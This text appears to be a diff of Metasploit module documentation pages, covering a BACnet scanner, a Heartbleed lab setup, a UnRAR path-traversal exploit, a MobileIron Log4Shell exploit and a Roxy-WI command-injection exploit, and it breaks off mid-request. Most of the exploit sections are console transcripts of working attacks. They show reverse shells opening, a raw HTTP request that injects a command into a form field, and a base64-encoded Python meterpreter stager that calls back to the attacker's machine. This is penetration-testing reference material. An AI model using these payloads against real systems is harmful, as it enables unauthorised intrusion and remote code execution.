[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/http/cisco_asa_asdm_bruteforce) >
|
||||
```
|
||||
@@ -0,0 +1,74 @@
|
||||
## Vulnerable Application
|
||||
BACnet is a Data Communication Protocol for Building Automation and Control Networks.
|
||||
Developed under the auspices of the American Society of Heating,
|
||||
Refrigerating and Air-Conditioning Engineers (ASHRAE), BACnet is an American national standard,
|
||||
a European standard, a national standard in more than 30 countries, and an ISO global standard.
|
||||
The protocol is supported and maintained by ASHRAE Standing Standard Project Committee 135
|
||||
|
||||
This script polls bacnet devices with a l3 broadcast Who-is message
|
||||
and for each reply communicates further to discover more data and saves the data into metasploit.
|
||||
Each bacnet device responds with this data:
|
||||
- It's IP address, and BACnet/IP address (if the device is nested).
|
||||
- It's device number.
|
||||
- Model name.
|
||||
- Application software version.
|
||||
- Firmware revision.
|
||||
- Device description.
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole.
|
||||
2. Do: `use auxiliary/scanner/scada/bacnet_l3`.
|
||||
3. Do: `set INTERFACE`.
|
||||
5. Do: `run`.
|
||||
6. Devices running the BACnet protocol should respond with data.
|
||||
|
||||
## Options
|
||||
A user can choose between the interfaces of his host (e.g. eth1, ens192...),
|
||||
the number of Who-is packets to send - for reliability purposes, the time (in seconds) to wait for packets to arrive
|
||||
and the UDP port, the default is 47808.
|
||||
|
||||
The user can always check these options via the `show options` command.
|
||||
|
||||
```
|
||||
msf auxiliary(profinet_siemens) > show options
|
||||
|
||||
Module options (auxiliary/scanner/scada/bacnet_l3):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COUNT 1 yes The number of times to send each packet
|
||||
INTERFACE eth1 yes The interface to scan from
|
||||
PORT 47808 yes BACnet/IP UDP port to scan (usually between 47808-47817)
|
||||
TIMEOUT 1 yes The socket connect timeout in seconds
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
The following demonstrates a basic scenario, we "detect" two devices:
|
||||
|
||||
```
|
||||
|
||||
msf > use auxiliary/scanner/scada/bacnet_l3
|
||||
msf auxiliary(auxiliary/scanner/scada/bacnet_l3) > run
|
||||
|
||||
[*] Broadcasting Who-is via eth1
|
||||
[*] found 2 devices
|
||||
[*] Querying device number 826001 in ip 192.168.13.11
|
||||
[*] Querying device number 4194303 in ip 192.168.13.12
|
||||
[*] Done scanning
|
||||
[+] for asset number 826001:
|
||||
model name: iSMA-B-4U4A-H-IP
|
||||
firmware revision: 6.2
|
||||
application software version: GC5 6.2
|
||||
description: BACnet iSMA-B-4U4A-H-IP Module
|
||||
|
||||
[+] for asset number 4194303:
|
||||
model name: PXG3.L-1
|
||||
firmware revision: FW=01.21.30.38;WPC=1.4.131;SVS-300:SBC=13.21;
|
||||
application software version:
|
||||
description: BacnetRouter
|
||||
|
||||
[+] Successfully saved data to local store named bacnet-discovery.xml
|
||||
[*] Done.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -25,6 +25,35 @@ openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -node
|
||||
If you receive `gethostbyname failure` error in `openssl`, add the client (metasploit)
|
||||
IP and hostname to your hosts file.
|
||||
|
||||
### Using docker
|
||||
|
||||
Using the environment created by [vulhub](https://github.com/vulhub/vulhub/tree/master/openssl/CVE-2014-0160)
|
||||
|
||||
First create a new docker-compose file:
|
||||
|
||||
```
|
||||
version: '2'
|
||||
services:
|
||||
nginx:
|
||||
image: vulhub/openssl:1.0.1c-with-nginx
|
||||
ports:
|
||||
- "8080:80"
|
||||
- "8443:443"
|
||||
```
|
||||
|
||||
Then run `docker-compose up` and verify that the service is running with:
|
||||
|
||||
```
|
||||
$ curl https://localhost:8443 -k
|
||||
<html>
|
||||
<head><title>404 Not Found</title></head>
|
||||
<body bgcolor="white">
|
||||
<center><h1>404 Not Found</h1></center>
|
||||
<hr><center>nginx/1.11.13</center>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable OpenSSL, start the service
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier). You can get the vulnerable versions here:
|
||||
|
||||
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
|
||||
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
|
||||
|
||||
This module creates a generic RAR file containing whatever `PAYLOAD` the user configured.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To generate the .rar file:
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
|
||||
RHOSTS => 10.0.0.154
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146
|
||||
LHOST => 10.0.0.146
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../tmp/docstest.txt
|
||||
TARGET_PATH => ../../../../../../tmp/docstest.txt
|
||||
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
|
||||
|
||||
[*] Target filename: ../../../../../../tmp/docstest.txt
|
||||
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
|
||||
```
|
||||
|
||||
Then, with a vulnerable versions of UnRAR (see the link above), extract it:
|
||||
|
||||
```
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ./unrar x -o+ ~/.msf4/local/payload.rar
|
||||
|
||||
UNRAR 6.11 freeware Copyright (c) 1993-2022 Alexander Roshal
|
||||
|
||||
Extracting from /home/ron/.msf4/local/payload.rar
|
||||
|
||||
Extracting hhgdzigwkgv OK
|
||||
Extracting hhgdzigwkgv OK
|
||||
All OK
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ ls -l hhgdzigwkgv
|
||||
lrwxrwxrwx. 1 ron games 34 Jul 27 13:04 hhgdzigwkgv -> ../../../../../../tmp/docstest.txt
|
||||
|
||||
ron@fedora ~/shared/analysis/zimbra-unrar/rar $ file /tmp/docstest.txt
|
||||
/tmp/docstest.txt: data
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
### `FILENAME`
|
||||
|
||||
The filename to generate, typically it's `payload.rar` and that works fine.
|
||||
|
||||
### `TARGET_PATH`
|
||||
|
||||
The path, including traversal characters (`../`) and the filename. The slashes' direction doesn't matter, that gets fixed in the module.
|
||||
|
||||
## Scenarios
|
||||
|
||||
This is a pretty generic exploit that can be used against any software with a bad version of UnRAR.
|
||||
|
||||
We also built a specific exploit for Zimbra - `exploit/linux/http/zimbra_unrar_cve_2022_30333`.
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server
|
||||
will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
|
||||
command execution in the context of the tomcat user.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to.
|
||||
|
||||
### Setup
|
||||
Once MobileIron Core is installed, no configuration needs to take place. The application is vulnerable out of the box.
|
||||
|
||||
### MobileIron Core Appliance ISO Installation on VMWare Fusion
|
||||
|
||||
1. Obtain a `mobileiron-##.#.#.#-##.iso` file, the following steps utilize `mobileiron-10.6.0.0-23.iso`.
|
||||
2. Use the ISO to create "A New Virtual Machine".
|
||||
3. Customize the VM settings to your liking. I gave the VM 4gb RAM, 4 cores, and changed the network adapter to a bridged mode
|
||||
so that I can hit it over the network.
|
||||
4. Boot the new virtual machine.
|
||||
5. Type `vm-install` at the `boot:` prompt.
|
||||
6. Wait patiently while the VM reboots and begins the install process. The system *will* reboot when installation completes.
|
||||
7. When prompted with `Continue with configuration dialog?`, type `yes`
|
||||
8. Type `q` to clear the license from the screen.
|
||||
9. Accept the End User License Agreement by typing `yes`
|
||||
10. Enter a Company Name / contact / email of your choosing. They don't matter.
|
||||
11. Configure an enable password (e.g. `Labpass1`)
|
||||
12. Enter an admin user name (e.g. `albinolobster`)
|
||||
13. Enter and confirm an admin password (e.g. `Labpass1`)
|
||||
14. Select `a` for the management interface
|
||||
15. Assign a static IP address and network mask that works with your test network. (e.g. `10.9.49.101` and `255.255.255.0`)
|
||||
16. Enter your test networks default gateway (e.g. `10.9.49.1`)
|
||||
17. Enter a fully-qualified domain name for the device (e.g. `lobster.example.com`). Unfortunately, this needs to work. I added a
|
||||
static DNS enty to my lab network's router.
|
||||
18. Enter your desired name server. My lab network relies on the aforementioned router (e.g. `10.9.49.1`)
|
||||
19. Enter blank entries for name server 2 and 3.
|
||||
20. `yes` to enable remote shell access (why not, right?)
|
||||
21. `no` to configuring NTP
|
||||
22. `no` to configuring system clock
|
||||
23. `yes` to commit changes
|
||||
24. Type `reload` to restart the system and `yes`, when prompted, to both saving the configuration and proceeding with the reload
|
||||
25. When the system has restarted, you should now have a vulnerable install of MobileIron Core.
|
||||
26. Visit `https://ipaddr` to ensure the HTTP server has fully loaded
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use exploit/linux/http/mobileiron_core_log4shell`
|
||||
3. Set the `RHOSTS`, `LHOST`, and `SRVHOST`
|
||||
4. Do: `run`
|
||||
5. If the target is vulnerable, the payload should be executed
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### MobileIron Core 11.2.0.0-31
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/mobileiron_core_log4shell
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
|
||||
LHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
|
||||
SRVHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
|
||||
SRVPORT => 1389
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.100
|
||||
RHOSTS => 10.9.49.100
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.9.49.248:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.100:48004) at 2022-07-29 09:46:14 -0700
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
|
||||
uname -a
|
||||
Linux hackercat.example.com 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
|
||||
```
|
||||
|
||||
### MobileIron Core 10.6.0.0-23
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/mobileiron_core_log4shell
|
||||
[*] Using configured payload cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set LHOST 10.9.49.248
|
||||
LHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVHOST 10.9.49.248
|
||||
SRVHOST => 10.9.49.248
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set SRVPORT 1389
|
||||
SRVPORT => 1389
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > set RHOSTS 10.9.49.101
|
||||
RHOSTS => 10.9.49.101
|
||||
msf6 exploit(linux/http/mobileiron_core_log4shell) > run
|
||||
|
||||
[*] Started reverse TCP handler on 10.9.49.248:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable.
|
||||
[+] Delivering the serialized Java object to execute the payload...
|
||||
[*] Command shell session 1 opened (10.9.49.248:4444 -> 10.9.49.101:35304) at 2022-07-29 10:19:58 -0700
|
||||
[*] Server stopped.
|
||||
|
||||
id
|
||||
uid=101(tomcat) gid=102(tomcat) groups=102(tomcat)
|
||||
uname -a
|
||||
Linux lobster.example.com 3.10.0-1062.4.1.el7.x86_64 #1 SMP Fri Oct 18 17:15:30 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
|
||||
exit
|
||||
[*] 10.9.49.101 - Command shell session 1 closed.
|
||||
```
|
||||
@@ -0,0 +1,392 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version 6.1.1.0.
|
||||
Successful exploitation results in remote code execution under the context of the web server user.
|
||||
|
||||
Roxy-WI is an interface for managing HAProxy, Nginx and Keepalived servers.
|
||||
|
||||
### Setup
|
||||
|
||||
Roxy-WI requires Python and a web server to run. Please visit following url to find out required python and other packages.
|
||||
|
||||
First grab a vulnerable copy of the code from the release pages at https://github.com/hap-wi/roxy-wi/releases.
|
||||
You will likely want to grab version 6.1.0.0 from https://github.com/hap-wi/roxy-wi/archive/refs/tags/v6.1.0.0.tar.gz
|
||||
|
||||
Next follow the installation instructions at https://roxy-wi.org/installation.py#manual and be sure to replace `apache`
|
||||
with `www-data` where applicable if your using Debian or Ubuntu (they call this out in their instructions however
|
||||
it can be a bit hard to find which is why I'm noting it here).
|
||||
|
||||
Once you are done you should have a working copy of Roxy-Wi. Note that for some reason the login page didn't work for me
|
||||
in testing, however everything needed to test this module should be set up and operating as expected.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/roxy_wi_exec`
|
||||
4. Set `RHOST` to the address of the target Roxy-WI machine.
|
||||
5. Set `LHOST` to the address of your attacking machine.
|
||||
8. Run `exploit`
|
||||
9. Do: `run`
|
||||
10. You should get a shell as the user running the Roxy-WI server.
|
||||
|
||||
## Targets
|
||||
|
||||
### 0
|
||||
|
||||
This executes a Unix command.
|
||||
|
||||
### 1
|
||||
|
||||
This uses a Linux dropper to execute code.
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The base path to Roxy-WI. The default value is `/`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Unix In-Memory Target
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/roxy_wi_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:hos
|
||||
t:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid
|
||||
7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
|
||||
. This must be an address on the local machine o
|
||||
r 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is ran
|
||||
domly generated)
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
URIPATH no The URI to use for this exploit (default is rand
|
||||
om)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
|
||||
HttpTrace => true
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.230.145:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 127.0.0.1:443 is vulnerable!
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 93
|
||||
|
||||
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=iufmgha&backend_server=127.0.0.1
|
||||
####################
|
||||
# Response:
|
||||
####################
|
||||
HTTP/1.1 200 OK
|
||||
Date: Mon, 25 Jul 2022 18:46:55 GMT
|
||||
Server: Apache/2.4.52 (Ubuntu)
|
||||
Vary: Accept-Encoding
|
||||
Transfer-Encoding: chunked
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
[*] 127.0.0.1:443 is vulnerable!
|
||||
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
|
||||
[*] Exploiting...
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 760
|
||||
|
||||
serv=127.0.0.1&ipbackend=%22%3b%20echo%20exec\%28__import__\%28\%27base64\%27\%29.b64decode\%28__import__\%28\%27codecs\%27\%29.getencoder\%28\%27utf-8\%27\%29\%28\%27aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE3Mi4yMi4yMzAuMTQ1Jyw0NDQ0KSkKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc%2bSScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyh6bGliLmRlY29tcHJlc3MoYmFzZTY0LmI2NGRlY29kZShkKSkseydzJzpzfSkK\%27\%29\%5b0\%5d\%29\%29%20%7c%20exec%20%24%28which%20python%20%7c%7c%20which%20python3%20%7c%7c%20which%20python2%29%20-%20%3b%23&alert_consumer=gumovpt&backend_server=127.0.0.1
|
||||
[*] Sending stage (40164 bytes) to 172.22.230.145
|
||||
[*] Meterpreter session 1 opened (172.22.230.145:4444 -> 172.22.230.145:41506) at 2022-07-25 13:46:56 -0500
|
||||
####################
|
||||
# Response:
|
||||
####################
|
||||
No response received
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : gwillcox-Virtual-Machine
|
||||
OS : Linux 5.15.0-41-generic #44-Ubuntu SMP Wed Jun 22 14:20:53 UTC 2022
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter > pwd
|
||||
/var/www/haproxy-wi/app
|
||||
meterpreter > ls
|
||||
Listing: /var/www/haproxy-wi/app
|
||||
================================
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
100664/rw-rw-r-- 83 fil 2022-06-30 02:43:57 -0500 .htaccess
|
||||
040755/rwxr-xr-x 4096 dir 2022-07-25 13:36:33 -0500 __pycache__
|
||||
100775/rwxrwxr-x 12822 fil 2022-06-30 02:43:57 -0500 add.py
|
||||
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 certs
|
||||
100775/rwxrwxr-x 4745 fil 2022-06-30 02:43:57 -0500 config.py
|
||||
100775/rwxrwxr-x 33194 fil 2022-06-30 02:43:57 -0500 create_db.py
|
||||
100775/rwxrwxr-x 14945 fil 2022-06-30 02:43:57 -0500 db_model.py
|
||||
100775/rwxrwxr-x 64688 fil 2022-06-30 02:43:57 -0500 funct.py
|
||||
100775/rwxrwxr-x 913 fil 2022-06-30 02:43:57 -0500 ha.py
|
||||
100775/rwxrwxr-x 8544 fil 2022-06-30 02:43:57 -0500 hapservers.py
|
||||
100775/rwxrwxr-x 3008 fil 2022-06-30 02:43:57 -0500 history.py
|
||||
100775/rwxrwxr-x 7145 fil 2022-06-30 02:43:57 -0500 login.py
|
||||
100775/rwxrwxr-x 1696 fil 2022-06-30 02:43:57 -0500 logs.py
|
||||
100775/rwxrwxr-x 1598 fil 2022-06-30 02:43:57 -0500 metrics.py
|
||||
100775/rwxrwxr-x 966 fil 2022-06-30 02:43:57 -0500 nettools.py
|
||||
100775/rwxrwxr-x 181104 fil 2022-06-30 02:43:57 -0500 options.py
|
||||
100775/rwxrwxr-x 4096 fil 2022-06-30 02:43:57 -0500 overview.py
|
||||
100775/rwxrwxr-x 1884 fil 2022-06-30 02:43:57 -0500 portscanner.py
|
||||
100775/rwxrwxr-x 1125 fil 2022-06-30 02:43:57 -0500 provisioning.py
|
||||
100644/rw-r--r-- 274432 fil 2022-07-25 13:41:13 -0500 roxy-wi.db
|
||||
100775/rwxrwxr-x 750 fil 2022-06-30 02:43:57 -0500 runtimeapi.py
|
||||
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 scripts
|
||||
100775/rwxrwxr-x 2486 fil 2022-06-30 02:43:57 -0500 sections.py
|
||||
100775/rwxrwxr-x 1580 fil 2022-06-30 02:43:57 -0500 servers.py
|
||||
100775/rwxrwxr-x 1826 fil 2022-06-30 02:43:57 -0500 smon.py
|
||||
100775/rwxrwxr-x 103924 fil 2022-06-30 02:43:57 -0500 sql.py
|
||||
040775/rwxrwxr-x 4096 dir 2022-06-30 02:43:57 -0500 templates
|
||||
100775/rwxrwxr-x 1361 fil 2022-06-30 02:43:57 -0500 users.py
|
||||
100775/rwxrwxr-x 4150 fil 2022-06-30 02:43:57 -0500 versions.py
|
||||
100775/rwxrwxr-x 2076 fil 2022-06-30 02:43:57 -0500 viewlogs.py
|
||||
100775/rwxrwxr-x 1150 fil 2022-06-30 02:43:57 -0500 viewsttats.py
|
||||
100775/rwxrwxr-x 1819 fil 2022-06-30 02:43:57 -0500 waf.py
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Roxy-WI 6.1.0.0 Ubuntu 22.04 GNU/Linux (x86_64) - Apache/2.4.52 / Python 3.10.4 / MySQL 8.0.29 With Linux Dropper Target
|
||||
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/linux/http/roxy_wi_exec
|
||||
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/roxy_wi_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:hos
|
||||
t:port][...]
|
||||
RHOSTS yes The target host(s), see https://github.com/rapid
|
||||
7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
|
||||
. This must be an address on the local machine o
|
||||
r 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is ran
|
||||
domly generated)
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
URIPATH no The URI to use for this exploit (default is rand
|
||||
om)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix (In-Memory)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set RHOST 127.0.0.1
|
||||
RHOST => 127.0.0.1
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set HttpTrace true
|
||||
HttpTrace => true
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set Target 1
|
||||
Target => 1
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > set payload linux/x64/shell/reverse_tcp
|
||||
payload => linux/x64/shell/reverse_tcp
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/roxy_wi_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:hos
|
||||
t:port][...]
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid
|
||||
7/metasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on
|
||||
. This must be an address on the local machine o
|
||||
r 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is ran
|
||||
domly generated)
|
||||
TARGETURI / yes The URI of the vulnerable instance
|
||||
URIPATH no The URI to use for this exploit (default is rand
|
||||
om)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (linux/x64/shell/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.22.230.145 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
1 Linux (Dropper)
|
||||
|
||||
|
||||
msf6 exploit(linux/http/roxy_wi_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.230.145:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 127.0.0.1:443 is vulnerable!
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 93
|
||||
|
||||
serv=127.0.0.1&ipbackend=%22%3b%20id%20%3b%23&alert_consumer=oodqhqe&backend_server=127.0.0.1
|
||||
####################
|
||||
# Response:
|
||||
####################
|
||||
HTTP/1.1 200 OK
|
||||
Date: Mon, 25 Jul 2022 19:07:53 GMT
|
||||
Server: Apache/2.4.52 (Ubuntu)
|
||||
Vary: Accept-Encoding
|
||||
Transfer-Encoding: chunked
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section configs and parameter haproxy_save_configs_dir</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
<center><div class="alert alert-danger">Check the config file. Presence section mysql and parameter enable</div>
|
||||
Content-type: text/html
|
||||
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
|
||||
[*] 127.0.0.1:443 is vulnerable!
|
||||
[+] The target is vulnerable. The device responded to exploitation with a 200 OK and test command successfully executed.
|
||||
[*] Exploiting...
|
||||
####################
|
||||
# Request:
|
||||
####################
|
||||
POST /app/options.py HTTP/1.1
|
||||
Host: 127.0.0.1
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 939
|
||||
|
||||
